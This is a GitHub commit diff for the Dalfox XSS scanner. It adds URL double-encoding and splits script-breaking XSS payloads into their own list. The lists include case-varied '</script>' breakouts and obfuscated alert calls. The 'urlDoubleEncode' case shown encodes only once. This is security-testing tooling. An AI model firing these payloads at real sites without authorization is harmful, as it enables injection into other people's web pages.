Skip to content

Commit f4c9c7b

Browse files
hahwulhahwul
committed
(#364) Improve PA logic and inJS Scan
1 parent 0efb4eb commit f4c9c7b

File tree

4 files changed

+158
-96
lines changed

4 files changed

+158
-96
lines changed

‎pkg/optimization/optimization.go

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -141,6 +141,10 @@ func MakeRequestQuery(target, param, payload, ptype string, pAction string, pEnc
141141
payload = UrlEncode(payload)
142142
break
143143

144+
case "urlDoubleEncode":
145+
payload = (UrlEncode(payload))
146+
break
147+
144148
case "htmlEncode":
145149
payload = template.HTMLEscapeString(payload)
146150
break

‎pkg/scanning/parameterAnlaysis.go

Lines changed: 34 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,7 @@ import (
1818
"github.com/hahwul/dalfox/v2/pkg/verification"
1919
voltFile "github.com/hahwul/volt/file"
2020
vlogger "github.com/hahwul/volt/logger"
21+
voltUtils "github.com/hahwul/volt/util"
2122
)
2223

2324
func setP(p, dp url.Values, name string, options model.Options) (url.Values, url.Values) {
@@ -270,26 +271,27 @@ func ParameterAnalysis(target string, options model.Options, rl *rateLimiter) ma
270271
char := c
271272
go func() {
272273
defer wg.Done()
273-
turl, _ := optimization.MakeRequestQuery(target, k, "dalfox"+char, "PA-URL", "toAppend", "NaN", options)
274-
rl.Block(tempURL.Host)
275-
_, _, _, vrs, _ := SendReq(turl, "dalfox"+char, options)
276-
if vrs {
277-
mutex.Lock()
278-
params[k] = append(params[k], char)
279-
mutex.Unlock()
274+
encoders := []string{
275+
"NaN",
276+
"urlEncode",
277+
"urlDoubleEncode",
278+
"htmlEncode",
280279
}
281280

282-
turl, _ = optimization.MakeRequestQuery(target, k, char+"dalfox", "PA-URL", "toPreset", "NaN", options)
283-
rl.Block(tempURL.Host)
284-
_, _, _, vrs, _ = SendReq(turl, "dalfox"+char, options)
285-
if vrs {
286-
mutex.Lock()
287-
params[k] = append(params[k], char)
288-
mutex.Unlock()
281+
for _, encoder := range encoders {
282+
turl, _ := optimization.MakeRequestQuery(target, k, "dalfox"+char, "PA-URL", "toAppend", encoder, options)
283+
rl.Block(tempURL.Host)
284+
_, _, _, vrs, _ := SendReq(turl, "dalfox"+char, options)
285+
if vrs {
286+
mutex.Lock()
287+
params[k] = append(params[k], char)
288+
mutex.Unlock()
289+
}
289290
}
290291
}()
291292
}
292293
wg.Wait()
294+
params[k] = voltUtils.UniqueStringSlice(params[k])
293295
params[k] = append(params[k], code)
294296
}
295297
}
@@ -368,18 +370,28 @@ func ParameterAnalysis(target string, options model.Options, rl *rateLimiter) ma
368370

369371
go func() {
370372
defer wg.Done()
371-
turl, _ := optimization.MakeRequestQuery(target, k, "dalfox"+char, "PA", "toAppend", "NaN", options)
372-
rl.Block(tempURL.Host)
373-
_, _, _, vrs, _ := SendReq(turl, "dalfox"+char, options)
374-
_ = resp
375-
if vrs {
376-
mutex.Lock()
377-
params[k] = append(params[k], char)
378-
mutex.Unlock()
373+
encoders := []string{
374+
"NaN",
375+
"urlEncode",
376+
"urlDoubleEncode",
377+
"htmlEncode",
378+
}
379+
380+
for _, encoder := range encoders {
381+
turl, _ := optimization.MakeRequestQuery(target, k, "dalfox"+char, "PA", "toAppend", encoder, options)
382+
rl.Block(tempURL.Host)
383+
_, _, _, vrs, _ := SendReq(turl, "dalfox"+char, options)
384+
_ = resp
385+
if vrs {
386+
mutex.Lock()
387+
params[k] = append(params[k], char)
388+
mutex.Unlock()
389+
}
379390
}
380391
}()
381392
}
382393
wg.Wait()
394+
params[k] = voltUtils.UniqueStringSlice(params[k])
383395
params[k] = append(params[k], code)
384396
}
385397
}

‎pkg/scanning/payload.go

Lines changed: 28 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -50,6 +50,12 @@ func GetInJsPayload() ([]string, int) {
5050
return lst, len(lst)
5151
}
5252

53+
// GetInJsBreakScriptPayload is exported interface
54+
func GetInJsBreakScriptPayload() ([]string, int) {
55+
lst := getInJsBreakScriptPayload("")
56+
return lst, len(lst)
57+
}
58+
5359
//basic open redirect payloads
5460
func getOpenRedirectPayload() []string {
5561
payload := []string{
@@ -443,6 +449,20 @@ func getAttrPayload(ip string) []string {
443449
return payload
444450
}
445451

452+
func getInJsBreakScriptPayload(ip string) []string {
453+
payload := []string{
454+
"</sCRipt><sVg/onload=alert(DALFOX_ALERT_VALUE)>",
455+
"</scRiPt><sVG/onload=confirm(DALFOX_ALERT_VALUE)>",
456+
"</sCrIpt><SVg/onload=prompt(DALFOX_ALERT_VALUE)>",
457+
"</sCrIpt><SVg/onload=print(DALFOX_ALERT_VALUE)>",
458+
"</sCriPt><ScRiPt>alert(DALFOX_ALERT_VALUE)</sCrIpt>",
459+
"</scRipT><sCrIpT>confirm(DALFOX_ALERT_VALUE)</SCriPt>",
460+
"</ScripT><ScRIpT>prompt(DALFOX_ALERT_VALUE)</scRIpT>",
461+
"</ScripT><ScRIpT>print(DALFOX_ALERT_VALUE)</scRIpT>",
462+
}
463+
return payload
464+
}
465+
446466
func getInJsPayload(ip string) []string {
447467
payload := []string{
448468
"alert(DALFOX_ALERT_VALUE)",
@@ -455,14 +475,6 @@ func getInJsPayload(ip string) []string {
455475
"alert.apply(null,[DALFOX_ALERT_VALUE])",
456476
"prompt.apply(null,[DALFOX_ALERT_VALUE])",
457477
"confirm.apply(null,[DALFOX_ALERT_VALUE])",
458-
"</sCRipt><sVg/onload=alert(DALFOX_ALERT_VALUE)>",
459-
"</scRiPt><sVG/onload=confirm(DALFOX_ALERT_VALUE)>",
460-
"</sCrIpt><SVg/onload=prompt(DALFOX_ALERT_VALUE)>",
461-
"</sCrIpt><SVg/onload=print(DALFOX_ALERT_VALUE)>",
462-
"</sCriPt><ScRiPt>alert(DALFOX_ALERT_VALUE)</sCrIpt>",
463-
"</scRipT><sCrIpT>confirm(DALFOX_ALERT_VALUE)</SCriPt>",
464-
"</ScripT><ScRIpT>prompt(DALFOX_ALERT_VALUE)</scRIpT>",
465-
"</ScripT><ScRIpT>print(DALFOX_ALERT_VALUE)</scRIpT>",
466478
"window['ale'+'rt'](window['doc'+'ument']['dom'+'ain'])",
467479
"this['ale'+'rt'](this['doc'+'ument']['dom'+'ain'])",
468480
"self[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]])",
@@ -476,6 +488,14 @@ func getInJsPayload(ip string) []string {
476488
"window[/*foo*/'confirm'/*bar*/](window[/*foo*/'document'/*bar*/]['domain'])",
477489
"{{toString().constructor.constructor('alert(DALFOX_ALERT_VALUE)')()}}",
478490
"{{-function(){this.alert(DALFOX_ALERT_VALUE)}()}}",
491+
"</sCRipt><sVg/onload=alert(DALFOX_ALERT_VALUE)>",
492+
"</scRiPt><sVG/onload=confirm(DALFOX_ALERT_VALUE)>",
493+
"</sCrIpt><SVg/onload=prompt(DALFOX_ALERT_VALUE)>",
494+
"</sCrIpt><SVg/onload=print(DALFOX_ALERT_VALUE)>",
495+
"</sCriPt><ScRiPt>alert(DALFOX_ALERT_VALUE)</sCrIpt>",
496+
"</scRipT><sCrIpT>confirm(DALFOX_ALERT_VALUE)</SCriPt>",
497+
"</ScripT><ScRIpT>prompt(DALFOX_ALERT_VALUE)</scRIpT>",
498+
"</ScripT><ScRIpT>print(DALFOX_ALERT_VALUE)</scRIpT>",
479499
}
480500
if strings.Contains(ip, "none") {
481501
var tempPayload []string

‎pkg/scanning/scan.go

Lines changed: 92 additions & 66 deletions
Original file line numberDiff line numberDiff line change
@@ -297,15 +297,16 @@ func Scan(target string, options model.Options, sid string) (model.Result, error
297297
ptype = GetPType(av)
298298
}
299299
}
300-
// Add plain XSS Query
301-
tq, tm := optimization.MakeRequestQuery(target, k, customPayload, "inHTML"+ptype, "toAppend", "NaN", options)
302-
query[tq] = tm
303-
// Add URL encoded XSS Query
304-
etq, etm := optimization.MakeRequestQuery(target, k, customPayload, "inHTML"+ptype, "toAppend", "urlEncode", options)
305-
query[etq] = etm
306-
// Add HTML Encoded XSS Query
307-
htq, htm := optimization.MakeRequestQuery(target, k, customPayload, "inHTML"+ptype, "toAppend", "htmlEncode", options)
308-
query[htq] = htm
300+
encoders := []string{
301+
"NaN",
302+
"urlEncode",
303+
"urlDoubleEncode",
304+
"htmlEncode",
305+
}
306+
for _, encoder := range encoders {
307+
tq, tm := optimization.MakeRequestQuery(target, k, customPayload, "inHTML"+ptype, "toAppend", encoder, options)
308+
query[tq] = tm
309+
}
309310
}
310311
}
311312
}
@@ -340,15 +341,16 @@ func Scan(target string, options model.Options, sid string) (model.Result, error
340341
cpArr = append(cpArr, v)
341342
arc := optimization.SetPayloadValue(getCommonPayload(), options)
342343
for _, avv := range arc {
343-
// Add plain XSS Query
344-
tq, tm := optimization.MakeRequestQuery(target, v, avv, "inHTML-URL", "toAppend", "NaN", options)
345-
query[tq] = tm
346-
// Add URL encoded XSS Query
347-
etq, etm := optimization.MakeRequestQuery(target, v, avv, "inHTML-URL", "toAppend", "urlEncode", options)
348-
query[etq] = etm
349-
// Add HTML Encoded XSS Query
350-
htq, htm := optimization.MakeRequestQuery(target, v, avv, "inHTML-URL", "toAppend", "htmlEncode", options)
351-
query[htq] = htm
344+
encoders := []string{
345+
"NaN",
346+
"urlEncode",
347+
"urlDoubleEncode",
348+
"htmlEncode",
349+
}
350+
for _, encoder := range encoders {
351+
tq, tm := optimization.MakeRequestQuery(target, v, avv, "inHTML-URL", "toAppend", encoder, options)
352+
query[tq] = tm
353+
}
352354
}
353355
}
354356
}
@@ -358,15 +360,16 @@ func Scan(target string, options model.Options, sid string) (model.Result, error
358360
cpdArr = append(cpdArr, v)
359361
arc := optimization.SetPayloadValue(getCommonPayload(), options)
360362
for _, avv := range arc {
361-
// Add plain XSS Query
362-
tq, tm := optimization.MakeRequestQuery(target, v, avv, "inHTML-FORM", "toAppend", "NaN", options)
363-
query[tq] = tm
364-
// Add URL encoded XSS Query
365-
etq, etm := optimization.MakeRequestQuery(target, v, avv, "inHTML-FORM", "toAppend", "urlEncode", options)
366-
query[etq] = etm
367-
// Add HTML Encoded XSS Query
368-
htq, htm := optimization.MakeRequestQuery(target, v, avv, "inHTML-FORM", "toAppend", "htmlEncode", options)
369-
query[htq] = htm
363+
encoders := []string{
364+
"NaN",
365+
"urlEncode",
366+
"urlDoubleEncode",
367+
"htmlEncode",
368+
}
369+
for _, encoder := range encoders {
370+
tq, tm := optimization.MakeRequestQuery(target, v, avv, "inHTML-FORM", "toAppend", encoder, options)
371+
query[tq] = tm
372+
}
370373
}
371374
}
372375
}
@@ -445,10 +448,30 @@ func Scan(target string, options model.Options, sid string) (model.Result, error
445448
// Injected pattern
446449
injectedPoint := strings.Split(av, "/")
447450
injectedPoint = injectedPoint[1:]
451+
injectedChars := params[k][:len(params[k])-1]
448452
for _, ip := range injectedPoint {
449453
var arr []string
450454
if strings.Contains(ip, "inJS") {
451-
arr = optimization.SetPayloadValue(getInJsPayload(ip), options)
455+
checkInJS := false
456+
if strings.Contains(ip, "double") {
457+
for _, injectedChar := range injectedChars {
458+
if strings.Contains(injectedChar, "\"") {
459+
checkInJS = true
460+
}
461+
}
462+
}
463+
if strings.Contains(ip, "single") {
464+
for _, injectedChar := range injectedChars {
465+
if strings.Contains(injectedChar, "'") {
466+
checkInJS = true
467+
}
468+
}
469+
}
470+
if checkInJS {
471+
arr = optimization.SetPayloadValue(getInJsPayload(ip), options)
472+
} else {
473+
arr = optimization.SetPayloadValue(getInJsBreakScriptPayload(ip), options)
474+
}
452475
}
453476
if strings.Contains(ip, "inHTML") {
454477
arr = optimization.SetPayloadValue(getHTMLPayload(ip), options)
@@ -458,15 +481,16 @@ func Scan(target string, options model.Options, sid string) (model.Result, error
458481
}
459482
for _, avv := range arr {
460483
if optimization.Optimization(avv, badchars) {
461-
// Add plain XSS Query
462-
tq, tm := optimization.MakeRequestQuery(target, k, avv, ip+ptype, "toAppend", "NaN", options)
463-
query[tq] = tm
464-
// Add URL Encoded XSS Query
465-
etq, etm := optimization.MakeRequestQuery(target, k, avv, ip+ptype, "toAppend", "urlEncode", options)
466-
query[etq] = etm
467-
// Add HTML Encoded XSS Query
468-
htq, htm := optimization.MakeRequestQuery(target, k, avv, ip+ptype, "toAppend", "htmlEncode", options)
469-
query[htq] = htm
484+
encoders := []string{
485+
"NaN",
486+
"urlEncode",
487+
"urlDoubleEncode",
488+
"htmlEncode",
489+
}
490+
for _, encoder := range encoders {
491+
tq, tm := optimization.MakeRequestQuery(target, k, avv, ip+ptype, "toAppend", encoder, options)
492+
query[tq] = tm
493+
}
470494
}
471495
}
472496
}
@@ -477,15 +501,16 @@ func Scan(target string, options model.Options, sid string) (model.Result, error
477501
for _, avv := range arc {
478502
if !containsFromArray(cpArr, k) {
479503
if optimization.Optimization(avv, badchars) {
480-
// Add plain XSS Query
481-
tq, tm := optimization.MakeRequestQuery(target, k, avv, "inHTML"+ptype, "toAppend", "NaN", options)
482-
query[tq] = tm
483-
// Add URL encoded XSS Query
484-
etq, etm := optimization.MakeRequestQuery(target, k, avv, "inHTML"+ptype, "toAppend", "urlEncode", options)
485-
query[etq] = etm
486-
// Add HTML Encoded XSS Query
487-
htq, htm := optimization.MakeRequestQuery(target, k, avv, "inHTML"+ptype, "toAppend", "htmlEncode", options)
488-
query[htq] = htm
504+
encoders := []string{
505+
"NaN",
506+
"urlEncode",
507+
"urlDoubleEncode",
508+
"htmlEncode",
509+
}
510+
for _, encoder := range encoders {
511+
tq, tm := optimization.MakeRequestQuery(target, k, avv, "inHTML"+ptype, "toAppend", encoder, options)
512+
query[tq] = tm
513+
}
489514
}
490515
}
491516
}
@@ -530,17 +555,17 @@ func Scan(target string, options model.Options, sid string) (model.Result, error
530555
for _, bpayload := range bpayloads {
531556
// Add plain XSS Query
532557
bp := strings.Replace(bpayload, "CALLBACKURL", bcallback, 10)
533-
tq, tm := optimization.MakeRequestQuery(target, k, bp, "toBlind"+ptype, "toAppend", "NaN", options)
534-
tm["payload"] = "toBlind"
535-
query[tq] = tm
536-
// Add URL encoded XSS Query
537-
etq, etm := optimization.MakeRequestQuery(target, k, bp, "toBlind"+ptype, "toAppend", "urlEncode", options)
538-
etm["payload"] = "toBlind"
539-
query[etq] = etm
540-
// Add HTML Encoded XSS Query
541-
htq, htm := optimization.MakeRequestQuery(target, k, bp, "toBlind"+ptype, "toAppend", "htmlEncode", options)
542-
htm["payload"] = "toBlind"
543-
query[htq] = htm
558+
encoders := []string{
559+
"NaN",
560+
"urlEncode",
561+
"urlDoubleEncode",
562+
"htmlEncode",
563+
}
564+
for _, encoder := range encoders {
565+
tq, tm := optimization.MakeRequestQuery(target, k, bp, "toBlind"+ptype, "toAppend", encoder, options)
566+
tm["payload"] = "toBlind"
567+
query[tq] = tm
568+
}
544569
}
545570
}
546571
}
@@ -572,15 +597,16 @@ func Scan(target string, options model.Options, sid string) (model.Result, error
572597
ptype = GetPType(av)
573598
}
574599
}
575-
// Add plain XSS Query
576-
tq, tm := optimization.MakeRequestQuery(target, k, remotePayload, "inHTML"+ptype, "toAppend", "NaN", options)
577-
query[tq] = tm
578-
// Add URL encoded XSS Query
579-
etq, etm := optimization.MakeRequestQuery(target, k, remotePayload, "inHTML"+ptype, "toAppend", "urlEncode", options)
580-
query[etq] = etm
581-
// Add HTML Encoded XSS Query
582-
htq, htm := optimization.MakeRequestQuery(target, k, remotePayload, "inHTML"+ptype, "toAppend", "htmlEncode", options)
583-
query[htq] = htm
600+
encoders := []string{
601+
"NaN",
602+
"urlEncode",
603+
"urlDoubleEncode",
604+
"htmlEncode",
605+
}
606+
for _, encoder := range encoders {
607+
tq, tm := optimization.MakeRequestQuery(target, k, remotePayload, "inHTML"+ptype, "toAppend", encoder, options)
608+
query[tq] = tm
609+
}
584610
}
585611
}
586612
}

0 commit comments

Comments
 (0)